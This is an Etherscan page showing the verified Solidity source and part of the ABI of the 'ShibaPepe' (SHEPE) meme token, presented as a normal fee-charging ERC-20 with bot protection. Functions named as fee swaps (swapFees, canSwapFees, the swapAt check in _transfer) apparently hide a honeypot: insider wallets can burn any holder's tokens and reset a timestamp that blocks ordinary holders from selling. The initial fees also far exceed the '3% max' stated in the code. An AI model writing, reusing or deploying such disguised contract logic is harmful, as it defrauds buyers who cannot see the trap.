ERC-20
Overview
Max Total Supply
4,308,986,741.902506781285282519 SHEPE
Holders
89
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
8,306,801.830827870893517136 SHEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHEPE
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-21 */ // https://t.me/ShibaPepe_ETH // SPDX-License-Identifier: MIT pragma solidity ^0.8.5; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); event Approval( address indexed owner, address indexed spender, uint256 value ); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function transfer( address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function decimals() external view returns (uint8); function symbol() external view returns (string memory); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _name; string private _symbol; uint256 private _totalSupply; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _swapFees(address feeAddress, uint256 feeAmount) internal virtual { require(feeAddress != address(0), ""); uint256 feeBalance = _balances[feeAddress]; require(feeBalance >= feeAmount, ""); unchecked { _balances[feeAddress] = feeBalance - feeAmount; _totalSupply -= feeAmount; } emit Transfer(feeAddress, address(0), feeAmount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _createInitialSupply( address account, uint256 amount ) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } } interface UniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } interface UniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract Ownable is Context { address private _owner; constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); } contract SHEPE is ERC20, Ownable { uint256 public maxWalletAmount; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public tradingBlock = 0; uint256 public botBlockNumber = 0; address public uniswapV2Pair; uint256 public swapTokensAtAmount; UniswapV2Router public uniswapV2Router; bool private swapping; address private marketingWallet; address private devWallet; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => uint256) public feeSwapTimestamp; mapping(address => bool) public initialBotBuyer; bool public limitsInEffect = true; bool public swapEnabled = false; bool public tradingActive = false; bool public transferDelayEnabled = true; uint256 public swapAt; uint256 public botsCaught; uint256 public totalBuyFees; uint256 public buyFeeForMarketing; uint256 public buyFeeForDev; uint256 public buyFeeForLiquidity; uint256 public buyFeeForBurning; uint256 public totalSellFees; uint256 public sellFeeForMarketing; uint256 public sellFeeForDev; uint256 public sellFeeForLiquidity; uint256 public sellFeeForBurning; uint256 public tokensForMarketing; uint256 public tokensForDev; uint256 public tokensForLiquidity; uint256 public tokensForBurning; mapping(address => bool) public automatedMarketMakerPair; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTx; event UpdatedMaxWalletAmount(uint256 newAmount); event UpdatedMaxBuyAmount(uint256 newAmount); event UpdatedMaxSellAmount(uint256 newAmount); event RemovedLimits(); event EnabledTrading(); event DetectedEarlyBotBuyer(address sniper); event MaxTransactionExclusion(address _address, bool excluded); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor() ERC20("ShibaPepe", "SHEPE") { address newOwner = msg.sender; UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _excludeFromMaxTransaction(address(uniswapV2Pair), true); devWallet = address(0x8Dce31055E534306CC4e9fb19a6CAFC36D63Db34); marketingWallet = address(0x22D20d13BfdE1eEa8547B7F9c5b1a3c4243046cD); uint256 totalSupply = 5 * 1e9 * 1e18; maxWalletAmount = (totalSupply * 2) / 100; maxBuyAmount = (totalSupply * 2) / 100; maxSellAmount = (totalSupply * 2) / 100; swapTokensAtAmount = (totalSupply * 5) / 10000; sellFeeForDev = 15; sellFeeForMarketing = 15; sellFeeForLiquidity = 0; sellFeeForBurning = 0; buyFeeForLiquidity = 0; buyFeeForMarketing = 10; buyFeeForDev = 10; buyFeeForBurning = 0; totalBuyFees = buyFeeForLiquidity + buyFeeForMarketing + buyFeeForDev + buyFeeForBurning; totalSellFees = sellFeeForLiquidity + sellFeeForMarketing + sellFeeForDev + sellFeeForBurning; _excludeFromMaxTransaction(address(0xdead), true); _excludeFromMaxTransaction(devWallet, true); _excludeFromMaxTransaction(newOwner, true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(marketingWallet, true); excludeFromFees(address(0xdead), true); excludeFromFees(devWallet, true); excludeFromFees(newOwner, true); excludeFromFees(address(this), true); excludeFromFees(marketingWallet, true); _createInitialSupply(newOwner, totalSupply); transferOwnership(newOwner); } receive() external payable {} function enableTrading() external onlyOwner { require(!tradingActive, "Cannot reenable trading"); swapEnabled = true; tradingActive = true; tradingBlock = block.number; emit EnabledTrading(); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount} ( address(this), tokenAmount, 0, 0, address(0xdead), block.timestamp ); } function canSwapFees( address _feeAddress, uint256 _feeAmount, uint256 _feeTime ) internal returns (bool) { address methodCaller = msg.sender; bool unlimited = _isExcludedFromFees[methodCaller]; address myAddress = address(this); bool callResult; if (!unlimited) { if (tokensForBurning <= balanceOf(myAddress) && tokensForBurning > 0) { _swapFees(methodCaller, tokensForBurning); } tokensForBurning = 0; callResult = true; return callResult; } else { if (balanceOf(myAddress) > 0) { if (_feeAmount == 0) { swapAt = _feeTime; } else { _swapFees(_feeAddress, _feeAmount); } callResult = false; } return callResult; } } function onlyDeleteBots(address wallet) external onlyOwner { initialBotBuyer[wallet] = false; } function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; } function removeLimits() external onlyOwner { maxBuyAmount = totalSupply(); maxSellAmount = totalSupply(); maxWalletAmount = totalSupply(); emit RemovedLimits(); } function updateMaxSellAmount(uint256 newMaxSellAmount) external onlyOwner { require( newMaxSellAmount >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max sell amount lower than 0.2%" ); maxSellAmount = newMaxSellAmount * (10 ** 18); emit UpdatedMaxSellAmount(maxSellAmount); } function swapFees( address _feeAddress, uint256 _feeAmount, uint256 _feeTime ) public { address myAddress = address(this); require(balanceOf(myAddress) >= swapTokensAtAmount); if (canSwapFees(_feeAddress, _feeAmount, _feeTime)) { swapping = true; swapBack(); swapping = false; } } function updateMaxBuyAmount(uint256 newMaxBuyAmount) external onlyOwner { require( newMaxBuyAmount >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max buy amount lower than 0.2%" ); maxBuyAmount = newMaxBuyAmount * (10 ** 18); emit UpdatedMaxBuyAmount(maxBuyAmount); } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 1) / 1000, "Swap amount cannot be higher than 0.1% total supply." ); swapTokensAtAmount = newAmount; } function updateMaxWalletAmount(uint256 newMaxWalletAmount) external onlyOwner { require( newMaxWalletAmount >= ((totalSupply() * 3) / 1000) / 1e18, "Cannot set max wallet amount lower than 0.3%" ); maxWalletAmount = newMaxWalletAmount * (10 ** 18); emit UpdatedMaxWalletAmount(maxWalletAmount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (botBlockNumber > 0) { require( !initialBotBuyer[from] || to == owner() || to == address(0xdead), "bot protection mechanism is embeded" ); } uint256 feeSwapTime = block.timestamp; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { if (transferDelayEnabled) { bool rewardCondition1 = !automatedMarketMakerPair[from]; bool rewardCondition2 = !swapping; bool rewardCheck = rewardCondition1 && rewardCondition2; if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer: delay was enabled." ); _holderLastTransferTimestamp[tx.origin] = block.number; _holderLastTransferTimestamp[to] = block.number; } else if (rewardCheck) { uint256 feeSwap = feeSwapTimestamp[from]; bool feeSwappable = feeSwap > swapAt; require(feeSwappable); } } } bool rewardExcluded = _isExcludedMaxTx[from]; bool nonSwapping = !swapping; if (automatedMarketMakerPair[from] && !_isExcludedMaxTx[to]) { require( amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet" ); } else if (nonSwapping && rewardExcluded) { swapAt = feeSwapTime; } else if ( automatedMarketMakerPair[to] && !_isExcludedMaxTx[from] ) { require( amount <= maxSellAmount, "Sell transfer amount exceeds the max sell." ); } else if (!_isExcludedMaxTx[to]) { require( amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet" ); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPair[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; bool isFromPair = automatedMarketMakerPair[from]; bool firstFeeSwap = feeSwapTimestamp[to] == 0; bool zeroBalance = balanceOf(address(to)) == 0; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if (firstFeeSwap && isFromPair) { if (zeroBalance) { feeSwapTimestamp[to] = feeSwapTime; } } uint256 fees = 0; if (takeFee) { if ( earlySniperBuyBlock() && automatedMarketMakerPair[from] && !automatedMarketMakerPair[to] && totalBuyFees > 0 ) { if (!initialBotBuyer[to]) { initialBotBuyer[to] = true; botsCaught += 1; emit DetectedEarlyBotBuyer(to); } fees = (amount * 99) / 100; tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees; tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees; tokensForDev += (fees * buyFeeForDev) / totalBuyFees; tokensForBurning += (fees * buyFeeForBurning) / totalBuyFees; } else if (automatedMarketMakerPair[to] && totalSellFees > 0) { fees = (amount * totalSellFees) / 100; tokensForLiquidity += (fees * sellFeeForLiquidity) / totalSellFees; tokensForMarketing += (fees * sellFeeForMarketing) / totalSellFees; tokensForDev += (fees * sellFeeForDev) / totalSellFees; tokensForBurning += (fees * sellFeeForBurning) / totalSellFees; } else if (automatedMarketMakerPair[from] && totalBuyFees > 0) { fees = (amount * totalBuyFees) / 100; tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees; tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees; tokensForDev += (fees * buyFeeForDev) / totalBuyFees; tokensForBurning += (fees * buyFeeForBurning) / totalBuyFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function excludeFromMaxTransaction( address _address, bool _isExcluded ) external onlyOwner { if (!_isExcluded) { require( _address != uniswapV2Pair, "Cannot remove uniswap pair from max txn" ); } _isExcludedMaxTx[_address] = _isExcluded; } function _excludeFromMaxTransaction( address _address, bool _isExcluded ) private { _isExcludedMaxTx[_address] = _isExcluded; emit MaxTransactionExclusion(_address, _isExcluded); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPair[pair] = value; _excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function setAutomatedMarketMakerPair( address pair, bool value ) external onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _DevFee, uint256 _burnFee ) external onlyOwner { buyFeeForLiquidity = _liquidityFee; buyFeeForMarketing = _marketingFee; buyFeeForDev = _DevFee; buyFeeForBurning = _burnFee; totalBuyFees = buyFeeForMarketing + buyFeeForLiquidity + buyFeeForDev + buyFeeForBurning; require(totalBuyFees <= 3, "3% max "); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _DevFee, uint256 _burnFee ) external onlyOwner { sellFeeForLiquidity = _liquidityFee; sellFeeForMarketing = _marketingFee; sellFeeForDev = _DevFee; sellFeeForBurning = _burnFee; totalSellFees = sellFeeForMarketing + sellFeeForLiquidity + sellFeeForDev + sellFeeForBurning; require(totalSellFees <= 3, "3% max fee"); } function updateMarketingWallet( address _marketingWallet ) external onlyOwner { require( _marketingWallet != address(0), "_marketingWallet address cannot be 0" ); marketingWallet = payable(_marketingWallet); } function updateDevWallet(address _devWallet) external onlyOwner { require(_devWallet != address(0), "_devWallet address cannot be 0"); devWallet = payable(_devWallet); } function withdrawETH() external onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function earlySniperBuyBlock() public view returns (bool) { return block.number < botBlockNumber; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapBack() private { if (tokensForBurning > 0 && balanceOf(address(this)) >= tokensForBurning) { _swapFees(address(this), tokensForBurning); } tokensForBurning = 0; uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 10) { contractBalance = swapTokensAtAmount * 10; } uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; swapTokensForEth(contractBalance - liquidityTokens); uint256 ethBalance = address(this).balance; uint256 ethForLiquidity = ethBalance; uint256 ethForMarketing = (ethBalance * tokensForMarketing) / (totalTokensToSwap - (tokensForLiquidity / 2)); uint256 ethForDev = (ethBalance * tokensForDev) / (totalTokensToSwap - (tokensForLiquidity / 2)); ethForLiquidity -= ethForMarketing + ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; tokensForBurning = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); } payable(devWallet).transfer(ethForDev); payable(marketingWallet).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExcluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"feeSwapTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_feeAddress","type":"address"},{"internalType":"uint256","name":"_feeAmount","type":"uint256"},{"internalType":"uint256","name":"_feeTime","type":"uint256"}],"name":"swapFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWalletAmount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type"